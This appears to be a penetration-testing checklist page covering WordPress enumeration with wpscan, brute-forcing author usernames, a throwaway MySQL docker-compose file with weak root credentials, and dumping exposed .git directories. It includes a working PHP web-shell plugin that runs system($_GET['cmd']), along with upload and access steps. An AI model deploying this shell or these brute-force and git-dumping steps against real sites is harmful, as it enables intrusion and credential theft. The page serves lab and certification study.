> For the complete documentation index, see [llms.txt](https://michel-disbergen.gitbook.io/hack-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://michel-disbergen.gitbook.io/hack-notes/web-pentesting/3.-git-and-cms-checks.md).

# 3. Git & CMS checks

* [ ] **1. Wordpress - checks**

```bash
# 1. Identify WordPress version, plugins, themes and authors utilizing wpscan
wpscan -e ap,at,cb,dbe,u,m --url {{RHOST}} | tee wpscan_output_all.txt

# 2. Version check
- Check themes for vulnerabilities
- Check plugins for vulnerabilities
- Check WordPress version for vulnerabilities

# 3. Plugins double check:
- Any functionality in the plugin that could be abused if it does not contain any exploits?

# 4. Any valid authors found (OSCP)?
- Bruteforce author usernames with rockyou

# 5. xmlrpc.php enabled?
- If so, note it.
...

# 6. wp-cron.php enabled?
- if so, note it
...

# 7. Directory listing enabled?
- Check the following directories for any additional plugins
  - /wp-content/
  - /wp-content/plugins/
  - /wp-content/themes/
  - /wp-content/uploads/
```

* [ ] **2. Wordpress - uninstalled instance**

```bash
###
### --- RUN COMMANDS ---
###
# docker-compose up
# docker-compose down
###
### --- CREDS ---
###
# USERNAME: root
# PASSWORD: temppassword
# DATABASE: mysql_tmp

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql_tmp
    restart: unless-stopped
    environment:
      MYSQL_ROOT_PASSWORD: temppassword
      MYSQL_DATABASE: mysql_tmp
      MYSQL_ROOT_HOST: '%'
    ports:
      - "3306:3306"
    command: --default-authentication-plugin=mysql_native_password
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-uroot", "-ptemppassword"]
      interval: 5s
      timeout: 5s
      retries: 10
      start_period: 30s
```

* [ ] **2.3. Wordpress - malicious plugin**

```bash
# 1. create a malicious wordpress plugin
### --- START PLUGIN CODE --- ###

<?php
/**
 * Plugin Name: shell
 * Plugin URI: https://shell.com
 * Description: shell
 * Version: 1.0
 * Author: 1337
 * Author URI: https://shell.com
 * License: https://nosuchlicense
 */

system($_GET['cmd']); 
?>

### --- END PLUGIN CODE --- ###

# 2. zip the plugin folder
zip - r shell.zip shell.php

# 3. upload the plugin via the wordpress admin panel(http ://{{RHOST}}/wp-admin/plugin-install.php)
...

# 4. access the shell via the URL
http://{{RHOST}}/wp-content/plugins/shell/shell.php?cmd=id
```

* [ ] **4. .git directory checks**

```bash
# 1. check if .git directory is accessible
curl -I http://{{RHOST}}/.git/

# 2. if it is accessible, check if you can download the .git utilizing git-dumper
mkdir git_dump; git-dumper http://{{RHOST}}/.git/ ./git_dump

# 3. once you have the files, try the following:
# 3A. check the config
cat .git/config

# 3B. check the commit history for any sensitive information
git log # show commits
git log -p # directly show the changes in the commits
git log -p > git_commit_history.txt # log the output of all commits to a textfile

# 3C. check the branches for any sensitive information
git branch -a # show all branches
git checkout [branch name] # checkout the branch and check the files for any sensitive information

```